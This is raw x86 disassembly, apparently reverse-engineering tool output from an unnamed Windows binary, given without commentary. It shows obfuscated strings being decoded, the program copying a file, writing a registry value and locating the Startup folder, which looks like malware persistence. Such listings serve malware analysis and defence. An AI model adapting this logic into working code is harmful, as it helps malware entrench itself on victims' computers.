mov esi, eax
test bl, bl
jne 0x446520
push dword [ebp - 0x58]
lea ecx, [ebp - 0xa8]
call fcn.00402810
push 0
push 0x5204b8
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x30
call fcn.00402830
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x89]
mov dword [ebp - 0x89], 0x455a52
mov byte [ebp - 0x85], 1
call fcn.004631e0
lea eax, [ebp - 0x89]
mov ecx, esi
push eax
call fcn.00469ec0
cmp byte [eax], bl
je 0x4464a3
lea ecx, [ebp - 0x8e]
mov dword [ebp - 0x8e], 0x455a52
mov byte [ebp - 0x8a], 1
call fcn.004631e0
lea eax, [ebp - 0x8e]
mov ecx, esi
push eax
call fcn.00469ec0
push eax
lea ecx, [ebp - 0xa8]
call fcn.00470ef0
sub esp, 0x18
lea eax, [ebp - 0xa8]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call fcn.00465e10
sub esp, 0xc
mov byte [ebp - 4], 0x32
lea eax, [ebp - 0x2d0]
mov byte [ebp - 0xd], 1
mov ecx, esp
push eax
call fcn.00464b50
mov cl, byte [ebp - 0xd]
mov byte [ebp - 4], 0x31
call fcn.004142f0
add esp, 0x24
movzx ebx, bl
test al, al
mov byte [ebp - 4], 0x2f
mov eax, 1
lea ecx, [ebp - 0xa8]
cmovne ebx, eax
call fcn.00402660
lea ecx, [ebp - 0x414]
call fcn.00462b10
lea eax, [ebp - 0x4e8]
push eax
lea ecx, [ebp - 0x414]
call fcn.00467330
test al, al
je 0x446402
lea ecx, [ebp - 0x22c]
call fcn.004672c0
mov eax, dword [ebp - 0x22c]
cmp byte [eax + 0xd], 0
je 0x4463a0
and dword [ebp - 0x14], 0xfffdffff
lea ecx, [ebp - 0x330]
mov byte [ebp - 4], 0x2e
call fcn.0041c300
lea ecx, [ebp - 0x424]
call fcn.00462b10
lea eax, [ebp - 0x4d8]
push eax
lea ecx, [ebp - 0x424]
call fcn.00467330
test al, al
je 0x446340
lea ecx, [ebp - 0x230]
call fcn.004672c0
mov eax, dword [ebp - 0x230]
cmp byte [eax + 0xd], 0
je 0x4462d2
mov esi, dword [ebp - 0x14]
and esi, 0xffefffff
lea ecx, [ebp - 0x338]
mov dword [ebp - 0x14], esi
call fcn.0041c300
jmp 0x4465ac
mov bl, 1
lea ecx, [ebp - 0x2b8]
call fcn.00402660
lea ecx, [ebp - 0x2d0]
call fcn.00468000
lea ecx, [ebp - 0x248]
call fcn.00402660
mov edi, dword [ebp - 0x24]
lea ecx, [ebp - 0x360]
mov byte [ebp - 4], 0x13
call fcn.004638b0
mov esi, dword [ebp - 0x2fc]
inc edi
mov dword [ebp - 0x24], edi
mov eax, 0x2aaaaaab
mov edi, dword [ebp - 0x2f8]
mov ecx, edi
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x24], eax
jb 0x445500
sub edi, esi
mov eax, 0x2aaaaaab
imul edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x44662a
test bl, bl
je 0x447b10
lea ecx, [ebp - 0x6b]
mov dword [ebp - 0x6b], 0x4f514d09
mov word [ebp - 0x67], 0x100
call fcn.00462f90
push dword [ebp - 0x58]
lea ecx, [ebp - 0x270]
call fcn.00402810
lea ecx, [ebp - 0x6b]
mov byte [ebp - 4], 0x33
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x446657
sub ecx, edx
lea eax, [ebp - 0x6b]
push ecx
push eax
lea ecx, [ebp - 0x270]
call fcn.00402830
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x4f]
mov word [ebp - 0x4f], 9
mov byte [ebp - 0x4d], 1
call fcn.00463140
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x254], esi
mov ecx, esi
push dword [ebp - 0x254]
call fcn.00402810
lea ecx, [ebp - 0x4f]
mov byte [ebp - 4], 0x35
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4466b0
sub ecx, edx
lea eax, [ebp - 0x4f]
push ecx
push eax
mov ecx, esi
call fcn.00402830
sub esp, 0x18
mov byte [ebp - 4], 0x36
lea eax, [ebp - 0x568]
mov ecx, esp
push eax
call fcn.00465e10
lea ecx, [ebp - 0x36c]
mov byte [ebp - 4], 0x34
call fcn.0040c430
add esp, 0x30
mov byte [ebp - 4], 0x37
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x368]
sub ecx, dword [ebp - 0x36c]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x446c0e
lea ecx, [ebp - 0x36c]
call fcn.00464a50
dec eax
lea ecx, [ebp - 0x36c]
push eax
call fcn.00464a30
push eax
lea ecx, [ebp - 0x270]
call fcn.00465c60
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x114], 0x4c5042
mov byte [ebp - 0x110], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x3bc]
call fcn.00402700
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x270]
mov ebx, dword [ebp - 0x14]
mov edx, eax
or ebx, 1
mov dword [ebp - 0x14], ebx
call fcn.0046a6b0
test al, al
je 0x446ab4
lea ecx, [ebp - 0x119]
mov dword [ebp - 0x119], 0x405b4a
mov byte [ebp - 0x115], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x3d4]
call fcn.00402700
mov dword [ebp - 4], 0x39
lea ecx, [ebp - 0x270]
or ebx, 2
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.0046a6b0
test al, al
je 0x446ab4
lea ecx, [ebp - 0x10f]
mov dword [ebp - 0x10f], 0x5b4b54
mov byte [ebp - 0x10b], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x608]
call fcn.00402700
mov dword [ebp - 4], 0x3a
lea ecx, [ebp - 0x270]
or ebx, 4
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.0046a6b0
test al, al
je 0x446ab4
lea ecx, [ebp - 0x11e]
mov dword [ebp - 0x11e], 0x5d5053
mov byte [ebp - 0x11a], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x5f0]
call fcn.00402700
mov dword [ebp - 4], 0x3b
lea ecx, [ebp - 0x270]
or ebx, 8
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.0046a6b0
test al, al
je 0x446ab4
lea ecx, [ebp - 0x123]
mov dword [ebp - 0x123], 0x4a4743
mov byte [ebp - 0x11f], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x5d8]
call fcn.00402700
mov dword [ebp - 4], 0x3c
lea ecx, [ebp - 0x270]
or ebx, 0x10
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.0046a6b0
test al, al
je 0x446ab4
lea ecx, [ebp - 0x145]
mov dword [ebp - 0x145], 0x524a4743
mov word [ebp - 0x141], 0x100
call fcn.0040b880
push eax
lea ecx, [ebp - 0x40]
call fcn.00402700
mov dword [ebp - 4], 0x3d
lea ecx, [ebp - 0x270]
or ebx, 0x20
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.0046a6b0
test al, al
je 0x446ab4
lea ecx, [ebp - 0x128]
mov dword [ebp - 0x128], 0x4e4657
mov byte [ebp - 0x124], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x20c]
call fcn.00402700
mov dword [ebp - 4], 0x3e
lea ecx, [ebp - 0x270]
or ebx, 0x40
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.0046a6b0
test al, al
je 0x446ab4
lea ecx, [ebp - 0x12d]
mov dword [ebp - 0x12d], 0x4e584d
mov byte [ebp - 0x129], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x454]
call fcn.00402700
mov dword [ebp - 4], 0x3f
lea ecx, [ebp - 0x270]
or ebx, 0x80
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.0046a6b0
test al, al
je 0x446ab4
lea ecx, [ebp - 0x14b]
mov dword [ebp - 0x14b], 0x4d4c584d
mov word [ebp - 0x147], 0x100
call fcn.0040b880
push eax
lea ecx, [ebp - 0xa8]
call fcn.00402700
mov dword [ebp - 4], 0x40
lea ecx, [ebp - 0x270]
or ebx, 0x100
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.0046a6b0
test al, al
je 0x446ab4
lea ecx, [ebp - 0xf1]
mov dword [ebp - 0xf1], 0x594545
mov byte [ebp - 0xed], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x248]
call fcn.00402700
mov dword [ebp - 4], 0x41
lea ecx, [ebp - 0x270]
or ebx, 0x200
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.0046a6b0
test al, al
je 0x446ab4
lea ecx, [ebp - 0xf6]
mov dword [ebp - 0xf6], 0x5d4945
mov byte [ebp - 0xf2], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x2b8]
call fcn.00402700
mov dword [ebp - 4], 0x42
lea ecx, [ebp - 0x270]
or ebx, 0x400
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.0046a6b0
test al, al
je 0x446ab4
lea ecx, [ebp - 0xfb]
mov dword [ebp - 0xfb], 0x5a4a51
mov byte [ebp - 0xf7], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x46c]
call fcn.00402700
or ebx, 0x800
lea ecx, [ebp - 0x270]
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.0046a6b0
mov byte [ebp - 0xd], 1
test al, al
jne 0x446ab8
mov byte [ebp - 0xd], 0
test ebx, 0x800
je 0x446ad4
and ebx, 0xfffff7ff
lea ecx, [ebp - 0x46c]
mov dword [ebp - 0x14], ebx
call fcn.00402660
test ebx, 0x400
je 0x446af0
and ebx, 0xfffffbff
lea ecx, [ebp - 0x2b8]
mov dword [ebp - 0x14], ebx
call fcn.00402660
test ebx, 0x200
je 0x446b0c
and ebx, 0xfffffdff
lea ecx, [ebp - 0x248]
mov dword [ebp - 0x14], ebx
call fcn.00402660
test ebx, 0x100
je 0x446b28
and ebx, 0xfffffeff
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0x14], ebx
call fcn.00402660
test bl, bl
jns 0x446b40
and ebx, 0xffffff7f
lea ecx, [ebp - 0x454]
mov dword [ebp - 0x14], ebx
call fcn.00402660
test bl, 0x40
je 0x446b56
and ebx, 0xffffffbf
lea ecx, [ebp - 0x20c]
mov dword [ebp - 0x14], ebx
call fcn.00402660
test bl, 0x20
je 0x446b69
and ebx, 0xffffffdf
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x14], ebx
call fcn.00402660
test bl, 0x10
je 0x446b7f
and ebx, 0xffffffef
lea ecx, [ebp - 0x5d8]
mov dword [ebp - 0x14], ebx
call fcn.00402660
test bl, 8
je 0x446b95
and ebx, 0xfffffff7
lea ecx, [ebp - 0x5f0]
mov dword [ebp - 0x14], ebx
call fcn.00402660
test bl, 4
je 0x446bab
and ebx, 0xfffffffb
lea ecx, [ebp - 0x608]
mov dword [ebp - 0x14], ebx
call fcn.00402660
test bl, 2
je 0x446bc1
and ebx, 0xfffffffd
lea ecx, [ebp - 0x3d4]
mov dword [ebp - 0x14], ebx
call fcn.00402660
mov dword [ebp - 4], 0x37
test bl, 1
je 0x446bde
and ebx, 0xfffffffe
lea ecx, [ebp - 0x3bc]
mov dword [ebp - 0x14], ebx
call fcn.00402660
cmp byte [ebp - 0xd], 0
je 0x446c11
lea ecx, [ebp - 0x100]
mov dword [ebp - 0x100], 0x4c5042
mov byte [ebp - 0xfc], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x270]
call fcn.00465c30
jmp 0x446c11
mov ebx, dword [ebp - 0x14]
lea ecx, [ebp - 0x52]
mov word [ebp - 0x52], 9
mov byte [ebp - 0x50], 1
call fcn.00463140
mov edx, 0x14
lea ecx, [ebp - 0x3d4]
call fcn.0040c790
mov esi, eax
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0x65]
mov word [ebp - 0x65], 0x7b
mov byte [ebp - 0x63], 1
call fcn.00463140
lea eax, [ebp - 0x65]
push eax
lea edx, [ebp + 0x80]
lea ecx, [ebp - 0x3bc]
call fcn.00469b50
add esp, 4
push esi
push eax
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0x20c]
push dword [ebp - 0x254]
call fcn.0046d660
mov esi, dword [ebp - 0x28]
or esi, 8
lea ecx, [ebp - 0x52]
mov byte [ebp - 4], 0x45
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x446c90
sub ecx, edx
lea eax, [ebp - 0x52]
push ecx
push eax
lea ecx, [ebp - 0x20c]
call fcn.00468730
push eax
lea ecx, [ebp - 0x248]
call fcn.004026b0
or esi, 0x10
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x70], esi
lea eax, [ebp - 0x270]
mov byte [ebp - 4], 0x46
push eax
lea edx, [ebp - 0x248]
lea ecx, [ebp - 0x4c4]
call fcn.00469d70
add esp, 4
lea ecx, [ebp - 0x248]
call fcn.00402660
lea ecx, [ebp - 0x20c]
call fcn.00402660
lea ecx, [ebp - 0x3bc]
call fcn.00402660
lea ecx, [ebp - 0x3d4]
mov byte [ebp - 4], 0x4b
call fcn.00402660
lea ecx, [ebp - 0x10a]
mov dword [ebp - 0x10a], 0x5a5d5c4f
mov dword [ebp - 0x106], 0x1021658
mov word [ebp - 0x102], 0x100
call fcn.00462ea0
lea ecx, [ebp - 0x568]
call fcn.004027a0
lea ecx, [ebp - 0x10a]
push ecx
push eax
call fcn.004de700
add esp, 8
lea ecx, [ebp - 0x4c4]
test eax, eax
setne byte [ebp - 0xdc]
call fcn.004027a0
lea ecx, [ebp - 0x568]
mov esi, eax
call fcn.004027a0
push 0x7530
push 0
push dword [ebp - 0xdc]
mov edx, esi
mov ecx, eax
call fcn.004809c0
add esp, 0xc
test al, al
je 0x447aef
push 0x533b44
lea ecx, [ebp - 0x1f4]
mov dword [ebp - 0x1f4], 0x48464c66
mov dword [ebp - 0x1f0], 0x4a5d794e
mov dword [ebp - 0x1ec], 0x4054444e
mov word [ebp - 0x1e8], 0x65
mov byte [ebp - 0x1e6], 1
call fcn.0040a710
mov edx, eax
lea ecx, [ebp - 0x2b8]
call fcn.00469c10
add esp, 4
mov byte [ebp - 4], 0x4c
lea ecx, [ebp - 0x183]
push 0x533b44
mov dword [ebp - 0x183], 0x4f4e4c62
mov dword [ebp - 0x17f], 0x1007f66
call fcn.00410550
mov edx, eax
lea ecx, [ebp - 0xa8]
call fcn.00469c10
add esp, 4
mov byte [ebp - 4], 0x4d
lea ecx, [ebp - 0x1d7]
push 0x533b44
mov dword [ebp - 0x1d7], 0x7f607b6a
mov dword [ebp - 0x1d3], 0x5a4c485b
mov dword [ebp - 0x1cf], 0x67424a
mov byte [ebp - 0x1cb], 1
call fcn.0040da00
mov edx, eax
lea ecx, [ebp - 0x454]
call fcn.00469c10
add esp, 4
cmp byte [ebp - 0x44], 0
mov byte [ebp - 4], 0x4e
je 0x4470c5
lea ecx, [ebp - 0x1e5]
mov dword [ebp - 0x1e5], 0x6b6a676b
mov dword [ebp - 0x1e1], 0x7e7d6d67
mov dword [ebp - 0x1dd], 0x7365716b
mov word [ebp - 0x1d9], 0x100
call fcn.0040eed0
push eax
call fcn.004ebac1
add esp, 4
test eax, eax
je 0x4470c5
push eax
lea ecx, [ebp - 0x40]
call fcn.00402700
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0xc6]
mov word [ebp - 0xc6], 0x7b
mov byte [ebp - 0xc4], 1
call fcn.0040a410
push eax
lea ecx, [ebp - 0x40]
call fcn.00465c10
lea eax, [ebp - 0x2b8]
push eax
lea ecx, [ebp - 0x40]
call fcn.00465c20
lea ecx, [ebp - 0x40]
call fcn.004027a0
mov ecx, eax
call fcn.0040bf90
test al, al
jne 0x446f15
lea ecx, [ebp - 0x40]
call fcn.00416160
test al, al
je 0x4470b9
lea ecx, [ebp - 0x151]
mov dword [ebp - 0x151], 0x4f514d09
mov word [ebp - 0x14d], 0x100
call fcn.0040b880
lea ecx, [ebp - 0xc0]
mov word [ebp - 0xc0], 0x7b
mov esi, eax
mov byte [ebp - 0xbe], 1
call fcn.0040a410
push eax
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x3d4]
call fcn.00469b50
add esp, 4
lea ecx, [ebp - 0x2b8]
mov byte [ebp - 4], 0x50
push ecx
mov edx, eax
lea ecx, [ebp - 0x3bc]
call fcn.00469d70
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0x20c]
call fcn.00469bb0
add esp, 4
lea ecx, [ebp - 0x3bc]
call fcn.00402660
lea ecx, [ebp - 0x3d4]
mov byte [ebp - 4], 0x54
call fcn.00402660
sub esp, 0x18
lea eax, [ebp - 0x20c]
mov ecx, esp
push eax
call fcn.00465e10
call fcn.0040bf00
add esp, 0x18
test al, al
jne 0x4470ae
lea ecx, [ebp - 0x20c]
call fcn.004027a0
lea ecx, [ebp - 0x4c4]
mov esi, eax
call fcn.004027a0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4470ae
movaps xmm0, xmmword [0x5263e0]
lea eax, [ebp - 0x250]
push eax
movups xmmword [ebp - 0x29f], xmm0
lea ecx, [ebp - 0x29f]
mov dword [ebp - 0x27f], 0x2f1f3c29
movaps xmm0, xmmword [0x525320]
push 0x20006
push 0
movups xmmword [ebp - 0x28f], xmm0
mov dword [ebp - 0x27b], 0x21243f39
mov dword [ebp - 0x277], 0x27030c21
mov word [ebp - 0x273], 0x3d
mov byte [ebp - 0x271], 1
call fcn.00418230
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4470ae
lea ecx, [ebp - 0x20c]
call fcn.00402650
lea ecx, [ebp - 0x20c]
mov edi, eax
call fcn.004027a0
lea ecx, [ebp - 0x2b8]
mov esi, eax
call fcn.004027a0
push edi
push esi
push 1
push 0
push eax
push dword [ebp - 0x250]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x250]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x20c]
call fcn.00402660
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x4e
call fcn.00402660
cmp byte [ebp - 0x46], 0
je 0x4476a0
movaps xmm0, xmmword [0x524ed0]
lea ecx, [ebp - 0x39]
movups xmmword [ebp - 0x39], xmm0
mov byte [ebp - 0x29], 1
call fcn.0040ee40
push eax
call fcn.004ebac1
add esp, 4
test eax, eax
je 0x4476a0
push eax
lea ecx, [ebp - 0x20c]
call fcn.00402700
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0xbd]
mov word [ebp - 0xbd], 0x7b
mov byte [ebp - 0xbb], 1
call fcn.0040a410
push eax
lea ecx, [ebp - 0x20c]
call fcn.00465c10
lea eax, [ebp - 0x454]
push eax
lea ecx, [ebp - 0x20c]
call fcn.00465c20
lea ecx, [ebp - 0x20c]
call fcn.004027a0
mov ecx, eax
call fcn.0040bf90
test al, al
jne 0x44718d
lea ecx, [ebp - 0x20c]
call fcn.004027a0
push eax
lea ecx, [ebp - 0x248]
call fcn.00402700
mov byte [ebp - 4], 0x56
lea ecx, [ebp - 0x248]
or ebx, 0x1000
mov dword [ebp - 0x14], ebx
call fcn.00416160
mov byte [ebp - 0xd], 0
test al, al
je 0x447191
mov byte [ebp - 0xd], 1
mov dword [ebp - 4], 0x55
test ebx, 0x1000
je 0x4471b4
and ebx, 0xffffefff
lea ecx, [ebp - 0x248]
mov dword [ebp - 0x14], ebx
call fcn.00402660
cmp byte [ebp - 0xd], 0
je 0x447691
lea ecx, [ebp - 0x157]
mov dword [ebp - 0x157], 0x4f514d09
mov word [ebp - 0x153], 0x100
call fcn.0040b880
lea ecx, [ebp - 0xb1]
mov word [ebp - 0xb1], 0x7b
mov esi, eax
mov byte [ebp - 0xaf], 1
call fcn.0040a410
push eax
lea edx, [ebp - 0x20c]
lea ecx, [ebp - 0x3d4]
call fcn.00469b50
add esp, 4
lea ecx, [ebp - 0x454]
mov byte [ebp - 4], 0x57
push ecx
mov edx, eax
lea ecx, [ebp - 0x3bc]
call fcn.00469d70
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x58
lea ecx, [ebp - 0x40]
call fcn.00469bb0
add esp, 4
lea ecx, [ebp - 0x3bc]
call fcn.00402660
lea ecx, [ebp - 0x3d4]
mov byte [ebp - 4], 0x5b
call fcn.00402660
sub esp, 0x18
lea eax, [ebp - 0x40]
mov ecx, esp
push eax
call fcn.00465e10
call fcn.0040bf00
add esp, 0x18
test al, al
jne 0x447689
lea ecx, [ebp - 0x40]
call fcn.004027a0
lea ecx, [ebp - 0x4c4]
mov esi, eax
call fcn.004027a0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x447689
push 0x104
lea eax, [ebp - 0x7a0]
mov dword [ebp - 0x18], 0x104
push 0
push eax
call fcn.004df090
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x7a0]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
movaps xmm0, xmmword [str._a__b_v]
lea ecx, [ebp - 0x2ed]
movups xmmword [ebp - 0x2ed], xmm0
mov dword [ebp - 0x2dd], 0x1a554a18
mov dword [ebp - 0x2d9], 0x767a7573
mov dword [ebp - 0x2d5], 0x15137a
mov byte [ebp - 0x2d1], 1
call fcn.0040ef60
lea ecx, [ebp - 0x1ae]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1ae], 0x5e060805
mov dword [ebp - 0x1aa], 0xf0c45
mov byte [ebp - 0x1a6], 1
call fcn.0040b8b0
lea ecx, [ebp - 0x1b7]
mov dword [ebp - 0x1b7], 0x5e060805
mov ebx, eax
mov dword [ebp - 0x1b3], 0xf0c59
mov byte [ebp - 0x1af], 1
call fcn.0040b8b0
mov edi, eax
lea ecx, [ebp - 0x668]
lea eax, [ebp - 0x7a0]
push eax
call fcn.00402700
mov esi, eax
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0x3a2]
movaps xmm0, xmmword [0x525ed0]
movups xmmword [ebp - 0x3a2], xmm0
mov dword [ebp - 0x392], 0x1a5f1717
mov dword [ebp - 0x38e], 0x1e686e14
mov word [ebp - 0x38a], 0x1d
mov byte [ebp - 0x388], 1
call fcn.004160f0
push esi
mov edx, eax
lea ecx, [ebp - 0x650]
call fcn.00469c70
add esp, 4
push edi
mov edx, eax
mov byte [ebp - 4], 0x5d
lea ecx, [ebp - 0x638]
call fcn.00469bb0
add esp, 4
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x5e
push ecx
mov edx, eax
lea ecx, [ebp - 0x5d8]
call fcn.00469d70
add esp, 4
push ebx
mov edx, eax
mov byte [ebp - 4], 0x5f
lea ecx, [ebp - 0x5f0]
call fcn.00469bb0
add esp, 4
lea ecx, [ebp - 0x454]
mov byte [ebp - 4], 0x60
push ecx
mov edx, eax
lea ecx, [ebp - 0x608]
call fcn.00469d70
add esp, 4
push dword [ebp - 0x24]
mov edx, eax
mov byte [ebp - 4], 0x61
lea ecx, [ebp - 0x46c]
call fcn.00469bb0
add esp, 4
lea ecx, [ebp - 0x608]
call fcn.00402660
lea ecx, [ebp - 0x5f0]
call fcn.00402660
lea ecx, [ebp - 0x5d8]
call fcn.00402660
lea ecx, [ebp - 0x638]
call fcn.00402660
lea ecx, [ebp - 0x650]
call fcn.00402660
lea ecx, [ebp - 0x668]
mov byte [ebp - 4], 0x68
call fcn.00402660
sub esp, 0x18
lea ecx, [ebp - 0x46c]
mov esi, esp
call fcn.004027a0
push eax
mov ecx, esi
call fcn.00402700
xor cl, cl
call fcn.004162f0
movaps xmm0, xmmword [0x5269e0]
lea ecx, [ebp - 0x28e]
add esp, 0x18
mov dword [ebp - 0x27e], 0x564b1717
movups xmmword [ebp - 0x28e], xmm0
mov dword [ebp - 0x27a], 0x7974741b
mov dword [ebp - 0x276], 0x16120577
mov word [ebp - 0x272], 0x100
call fcn.00414060
lea ecx, [ebp - 0x1c0]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c0], 0x5e060805
mov dword [ebp - 0x1bc], 0xf0c45
mov byte [ebp - 0x1b8], 1
call fcn.0040b8b0
lea ecx, [ebp - 0x19c]
mov dword [ebp - 0x19c], 0x5e060805
mov ebx, eax
mov dword [ebp - 0x198], 0xf0c59
mov byte [ebp - 0x194], 1
call fcn.0040b8b0
mov edi, eax
lea ecx, [ebp - 0x548]
lea eax, [ebp - 0x7a0]
push eax
call fcn.00402700
mov esi, eax
mov byte [ebp - 4], 0x69
lea ecx, [ebp - 0x387]
movaps xmm0, xmmword [0x525ed0]
movups xmmword [ebp - 0x387], xmm0
mov dword [ebp - 0x377], 0x1a5f1717
mov dword [ebp - 0x373], 0x1e686e14
mov word [ebp - 0x36f], 0x1d
mov byte [ebp - 0x36d], 1
call fcn.004160f0
push esi
mov edx, eax
lea ecx, [ebp - 0x530]
call fcn.00469c70
add esp, 4
push edi
mov edx, eax
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0x698]
call fcn.00469bb0
add esp, 4
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x6b
push ecx
mov edx, eax
lea ecx, [ebp - 0x680]
call fcn.00469d70
add esp, 4
push ebx
mov edx, eax
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0x3d4]
call fcn.00469bb0
add esp, 4
lea ecx, [ebp - 0x454]
mov byte [ebp - 4], 0x6d
push ecx
mov edx, eax
lea ecx, [ebp - 0x3bc]
call fcn.00469d70
add esp, 4
push dword [ebp - 0x24]
mov edx, eax
mov byte [ebp - 4], 0x6e
lea ecx, [ebp - 0x248]
call fcn.00469bb0
add esp, 4
lea ecx, [ebp - 0x3bc]
call fcn.00402660
lea ecx, [ebp - 0x3d4]
call fcn.00402660
lea ecx, [ebp - 0x680]
call fcn.00402660
lea ecx, [ebp - 0x698]
call fcn.00402660
lea ecx, [ebp - 0x530]
call fcn.00402660
lea ecx, [ebp - 0x548]
mov byte [ebp - 4], 0x75
call fcn.00402660
sub esp, 0x18
lea ecx, [ebp - 0x248]
mov esi, esp
call fcn.004027a0
push eax
mov ecx, esi
call fcn.00402700
xor cl, cl
call fcn.004162f0
add esp, 0x18
lea ecx, [ebp - 0x248]
call fcn.00402660
lea ecx, [ebp - 0x46c]
call fcn.00402660
mov ebx, dword [ebp - 0x14]
lea ecx, [ebp - 0x40]
call fcn.00402660
lea ecx, [ebp - 0x20c]
mov byte [ebp - 4], 0x4e
call fcn.00402660
cmp byte [ebp - 0x45], 0
je 0x447a60
lea ecx, [ebp - 0x15d]
mov dword [ebp - 0x15d], 0x7a646d73
mov word [ebp - 0x159], 0x100
call fcn.0040b880
push eax
call fcn.004ebac1
add esp, 4
test eax, eax
je 0x447a60
push eax
lea ecx, [ebp - 0x20c]
call fcn.00402700
mov byte [ebp - 4], 0x76
lea ecx, [ebp - 0xb4]
mov word [ebp - 0xb4], 0x7b
mov byte [ebp - 0xb2], 1
call fcn.0040a410
push eax
lea ecx, [ebp - 0x20c]
call fcn.00465c10
lea eax, [ebp - 0xa8]
push eax
lea ecx, [ebp - 0x20c]
call fcn.00465c20
lea ecx, [ebp - 0x20c]
call fcn.004027a0
mov ecx, eax
call fcn.0040bf90
test al, al
jne 0x44776f
lea ecx, [ebp - 0x20c]
call fcn.004027a0
push eax
lea ecx, [ebp - 0x46c]
call fcn.00402700
mov byte [ebp - 4], 0x77
lea ecx, [ebp - 0x46c]
or ebx, 0x2000
mov dword [ebp - 0x14], ebx
call fcn.00416160
mov byte [ebp - 0xd], 0
test al, al
je 0x447773
mov byte [ebp - 0xd], 1
mov dword [ebp - 4], 0x76
test ebx, 0x2000
je 0x447796
and ebx, 0xffffdfff
lea ecx, [ebp - 0x46c]
mov dword [ebp - 0x14], ebx
call fcn.00402660
cmp byte [ebp - 0xd], 0
je 0x447a51
lea ecx, [ebp - 0x139]
mov dword [ebp - 0x139], 0x4f514d09
mov word [ebp - 0x135], 0x100
call fcn.0040b880
lea ecx, [ebp - 0xb7]
mov word [ebp - 0xb7], 0x7b
mov esi, eax
mov byte [ebp - 0xb5], 1
call fcn.0040a410
push eax
lea edx, [ebp - 0x20c]
lea ecx, [ebp - 0x530]
call fcn.00469b50
add esp, 4
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x78
push ecx
mov edx, eax
lea ecx, [ebp - 0x548]
call fcn.00469d70
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x79
lea ecx, [ebp - 0x248]
call fcn.00469bb0
add esp, 4
lea ecx, [ebp - 0x548]
call fcn.00402660
lea ecx, [ebp - 0x530]
mov byte [ebp - 4], 0x7c
call fcn.00402660
sub esp, 0x18
lea eax, [ebp - 0x248]
mov ecx, esp
push eax
call fcn.00465e10
call fcn.0040bf00
add esp, 0x18
test al, al
jne 0x447881
lea ecx, [ebp - 0x248]
call fcn.004027a0
lea ecx, [ebp - 0x4c4]
mov esi, eax
call fcn.004027a0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x447a46
lea eax, [ebp - 0x7a0]
push eax
push 0
push 0
push 7
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x447a46
lea eax, [ebp - 0x7a0]
push eax
lea ecx, [ebp - 0x40]
call fcn.00402700
mov byte [ebp - 4], 0x7d
lea ecx, [ebp - 0x13f]
mov dword [ebp - 0x13f], 0x41474409
